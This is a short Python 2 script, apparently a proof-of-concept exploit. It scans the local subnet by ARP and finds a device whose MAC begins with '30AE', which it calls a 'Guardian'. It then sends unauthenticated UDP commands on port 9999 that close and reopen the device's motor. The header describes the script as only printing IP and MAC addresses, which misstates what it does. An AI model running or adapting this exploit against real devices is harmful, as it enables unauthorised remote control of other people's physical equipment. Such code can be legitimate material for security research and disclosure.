#!/usr/bin/env python  
################################################################################  
# \_\_\_\_\_\_\_ #  
# /\_\_\_\_\_\_\_\ #  
# \_\_\_\_\_ \_\_\_\_\_ \_\_\_\_\_\_\_ \_\_\_\_\_ #  
# | \_\_\_ \ / \_\_\_ \ / \_ \_ \ / \_\_\_ \ #  
# | | \ \ | / \ || || || |/ / / | #  
# |\_| | || | | || || || || | (\_/ #  
# \_\_\_\_/ / | \\_\_\_/ || || || |\ \\_\_\_\_\_ #  
# |\_\_\_\_\_/ \\_\_\_\_\_/ |\_||\_||\_| \\_\_\_\_\_\_\ #  
# #  
################################################################################  
# File: MAC-HAMMER #  
# Author: MICHAEL SKIBA #  
# Date: 04-12-2018 #  
# Description: PRINTS IP AND MAC ADDRESS OF DEVICES ON SUBNET #  
################################################################################  
# Version 0.0.1 - First try  
#  
################################################################################  
# Make an EXE:  
# pyinstaller --onefile --icon=gicon.ico --name=MACHammer machammer.py  
  
import ctypes  
import socket  
import struct  
import threading  
from time import sleep  
  
def get\_macaddress(host):  
 """ Returns the MAC address of a network host, requires >= WIN2K. """  
   
 # Check for api availability  
 try:  
 SendARP = ctypes.windll.Iphlpapi.SendARP  
 except:  
 raise NotImplementedError('Usage only on Windows 2000 and above')  
   
 # Doesn't work with loopbacks, but let's try and help.  
 if host == '127.0.0.1' or host.lower() == 'localhost':  
 host = socket.gethostname()  
   
 # gethostbyname blocks, so use it wisely.  
 try:  
 inetaddr = ctypes.windll.wsock32.inet\_addr(host)  
 if inetaddr in (0, -1):  
 raise Exception  
 except:  
 hostip = socket.gethostbyname(host)  
 inetaddr = ctypes.windll.wsock32.inet\_addr(hostip)  
   
 buffer = ctypes.c\_buffer(6)  
 addlen = ctypes.c\_ulong(ctypes.sizeof(buffer))  
 if SendARP(inetaddr, 0, ctypes.byref(buffer), ctypes.byref(addlen)) != 0:  
 raise WindowsError('Retreival of mac address(%s) - failed' % host)  
   
 # Convert binary data into a string.  
 macaddr = ''  
 for intval in struct.unpack('BBBBBB', buffer):  
 if intval > 15:  
 replacestr = '0x'  
 else:  
 replacestr = 'x'  
 macaddr = ''.join([macaddr, hex(intval).replace(replacestr, '')])  
   
 return macaddr.upper()  
results = []  
splitsmac = []  
splitsip = []  
def arpanet(iptry, j):  
 try:  
 macaddy = get\_macaddress(iptry)  
 #print str(iptry) + ' = ' + str(macaddy)   
 result = str(iptry) +'='+ str(macaddy)   
 results.append(result)  
 splitsmac.append(str(macaddy))  
 splitsip.append(str(iptry))  
 sleep(1)  
 except WindowsError:  
 pass  
   
def hammertime():  
 print 'Make sure your Guardian is in the OPEN position'  
 raw\_input("Press ENTER to continue")  
 UDP\_IP = "255.255.0.0"  
 UDP\_PORT = 9999  
 goodip = str(socket.gethostbyname(socket.gethostname()))  
 #print 'Your IP address is ' + goodip  
 #print 'Your mac address is %s' % get\_macaddress('localhost')  
 subnettemp = goodip  
 subnetsplit = subnettemp.split('.')  
 subnet = subnetsplit[0]+'.'+subnetsplit[1]+'.'+subnetsplit[2]+'.'  
 ipaddy = subnet  
 threads = []  
 for j in range(1,255):  
 newguy = ipaddy + str(j)  
 try:  
 g = threading.Thread(target = arpanet, args = (newguy, j))  
 threads.append(g)  
 g.start()  
 if j == 254:  
 for threadz in threads:  
 threadz.join()  
 except WindowsError:  
 pass  
 #g.join()  
 guardip = ""  
 #for i in results:  
 # print i  
 for i in splitsmac:  
 if i.startswith("30AE"):  
 guardip = str(splitsip[splitsmac.index(i)])  
 #print guardip  
 UDP\_IP = guardip  
 MESSAGE1 = '{"command":"motor\_calibration", "action":"close","type":0}'  
 MESSAGE2 = '{"command":"motor\_calibration", "action":"open","type":0}'  
 sock = socket.socket(socket.AF\_INET, socket.SOCK\_DGRAM)  
 sock.sendto(MESSAGE1, (UDP\_IP, UDP\_PORT))  
 sleep(10)  
 sock = socket.socket(socket.AF\_INET, socket.SOCK\_DGRAM)  
 sock.sendto(MESSAGE2, (UDP\_IP, UDP\_PORT))  
 sleep(10)  
 raw\_input("Press Enter to exit")  
  
if \_\_name\_\_ == '\_\_main\_\_':  
 hammertime()